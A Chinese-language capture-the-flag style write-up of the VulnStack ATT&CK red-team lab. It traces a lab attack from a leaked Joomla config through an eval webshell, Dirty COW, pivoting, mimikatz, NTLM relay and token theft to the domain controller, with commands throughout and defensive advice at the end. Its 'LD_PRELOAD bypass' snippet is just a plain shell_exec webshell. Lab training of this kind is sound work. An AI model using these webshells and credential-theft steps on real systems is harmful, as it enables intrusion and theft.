Vlunstack ATT&CK实战系列——红队实战(三)Writeup
字数 2354 2025-08-25 22:58:20
VulnStack ATT&CK红队实战(三)渗透测试教学文档
0x00 环境概述
- 靶场环境:红日安全团队出品的VulnStack ATT&CK实战系列
- 环境拓扑:
- 外部Web服务器:Ubuntu系统 (192.168.93.100)
- 内部服务器:CentOS系统 (192.168.1.110)
- 域环境:
- 域控制器:Windows Server 2012 (192.168.93.10)
- 成员服务器:Windows Server 2008 (192.168.93.20)
- 成员主机:Windows 7 (192.168.93.30)
0x01 信息收集阶段
1. 初始信息
- 仅知目标IP:192.168.1.110
- 80端口运行Joomla! CMS (版本3.9.2)
2. 目录扫描
- 发现备份配置文件:
configuration.php~ - 获取关键信息:
- MySQL数据库用户:testuser
- MySQL密码:cvcvgjASD!@
3. 端口扫描
- 发现3306端口开放
- 确认MySQL服务可用
0x02 初始入侵
1. 数据库访问
- 使用获取的凭据连接MySQL:
mysql -h 192.168.1.110 -u testuser -p'cvcvgjASD!@' - 访问Joomla数据库
2. 添加管理员账户
- 通过SQL语句添加管理员账户:
INSERT INTO `jos_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`, `resetCount`, `otpKey`, `otep`, `requireReset`, `id`, `email`, `password_clear`, `block`, `sendEmail`, `activation`) VALUES ('admin2', 'admin2', '$2y$10$92nDno4n0Zm7EjHCJ.gDDeV7FvMftlgXHROS8E1XmmZf5RheFpt0u', '', NOW(), NOW(), '0000-00-00 00:00:00', 0, '', '', 0, 1000, 'admin2@test.com', 'secret', 0, 0, 0); INSERT INTO `jos_user_usergroup_map` (`user_id`, `group_id`) VALUES (1000, 8); - 新管理员凭据:
- 用户名:admin2
- 密码:secret
3. 后台登录与Getshell
- 登录后台:
http://192.168.1.110/administrator/index.php - 通过模板编辑功能植入Webshell:
- 编辑
beez3模板文件 - 插入PHP代码:
<?php @eval($_POST['h1']);?> - Webshell地址:
http://192.168.1.110/templates/beez3/h1.php
- 编辑
0x03 权限提升与内网渗透
1. 绕过disable_functions
- 使用LD_PRELOAD技术绕过PHP限制:
<?php echo "<pre>"; $cmd = $_GET["cmd"]; $evil_cmd = $cmd; echo "<pre>" . shell_exec($evil_cmd) . "</pre>"; ?>
2. 系统信息收集
- 执行命令:
ifconfig uname -a - 发现实际系统为Ubuntu (192.168.93.100)
- 确认192.168.1.110为Nginx反向代理
3. 横向移动至CentOS
- 在Ubuntu上发现SSH凭据:
- 用户名:wwwuser
- 密码:通过test.txt文件获取
- 通过SSH连接CentOS (192.168.1.110)
4. CentOS提权
- 检查内核版本:
uname -a - 使用脏牛(Dirty Cow)漏洞提权:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty - 设置新root密码
0x04 域渗透
解法一:暴力破解与令牌窃取
1. 内网扫描
- 使用MSF添加路由:
route add 192.168.93.0 255.255.255.0 [session_id] - 扫描内网主机:
- 192.168.93.20 - Windows Server 2008
- 192.168.93.30 - Windows 7
- 192.168.93.10 - Windows Server 2012 (域控制器)
2. 暴力破解
- 对Windows Server 2008进行本地管理员爆破
- 成功获取凭据:
- 用户名:administrator
- 密码:123qwe!ASD
3. 建立代理通道
- 使用socks4a代理内网流量
- 配置Proxifier和proxychains
4. 获取域管理员凭据
- 使用wmiexec执行命令:
proxychains python wmiexec.py administrator:123qwe!ASD@192.168.93.20 - 发现域管理员进程
- 上传mimikatz抓取凭据:
proxychains smbclient //192.168.93.20/C$ -U administrator%123qwe!ASD -c 'put mimikatz.exe' - 执行mimikatz获取域管理员密码
5. 访问域控
- 确定域控制器IP:
ping test.org - 使用IPC$连接域控:
proxychains smbclient //192.168.93.10/C$ -U 'TEST\administrator'%'password' - 获取flag.txt文件
解法二:NTLM中继攻击
1. 设置Responder
- 在CentOS上安装Responder
- 配置MultiRelay.py
2. 触发NTLM认证
- 发现Windows Server 2008开放1433端口
- MSSQL凭据与MySQL相同:
- 用户名:testuser
- 密码:cvcvgjASD!@
- 使用MSF触发UNC路径:
use auxiliary/admin/mssql/mssql_ntlm_stealer set RHOSTS 192.168.93.20 set USERNAME testuser set PASSWORD cvcvgjASD!@ run
3. 中继攻击
- 获取Windows Server 2008的NTLMv2 hash
- 使用MultiRelay中继到Windows 7
- 获取Windows 7 shell
4. 获取凭据
- 使用MultiRelay自带的mimikatz:
mimikatz # sekurlsa::logonpasswords - 获取本地管理员密码:administrator/123qwe!ASD
5. 令牌窃取
- 上传incognito工具
- 窃取TEST域administrator令牌:
incognito.exe execute -c "TEST\administrator" "cmd /c whoami"
6. 访问域控
- 使用窃取的令牌复制flag.txt:
copy \\192.168.93.10\C$\users\administrator\Documents\flag.txt C:\1.txt
0x05 关键知识点总结
-
Web应用渗透:
- Joomla! CMS漏洞利用
- 配置文件泄露风险
- 通过数据库添加管理员账户
- 模板编辑Getshell技术
-
权限提升:
- PHP disable_functions绕过(LD_PRELOAD)
- Linux内核提权(脏牛漏洞)
-
内网渗透:
- 路由添加与内网扫描
- Socks代理建立
- 密码爆破技巧
-
域渗透技术:
- NTLM中继攻击(Responder+MultiRelay)
- Mimikatz凭据提取
- 令牌窃取(Incognito)
- 横向移动方法
-
工具使用:
- MSF框架的多功能应用
- Proxychains代理链
- Wmiexec远程命令执行
- SMBclient文件传输
0x06 防御建议
-
Web安全:
- 及时更新CMS系统
- 删除备份配置文件
- 限制数据库用户权限
- 禁用不必要的PHP函数
-
系统安全:
- 及时更新系统内核
- 使用强密码策略
- 限制SSH访问
-
域安全:
- 启用SMB签名防止中继攻击
- 限制管理员账户使用范围
- 监控异常登录行为
- 定期更换高权限账户密码
-
日志监控:
- 监控异常数据库查询
- 记录敏感文件访问
- 分析异常网络流量
通过本实战演练,可以全面了解从外网渗透到内网域控的完整攻击链,以及相应的防御措施。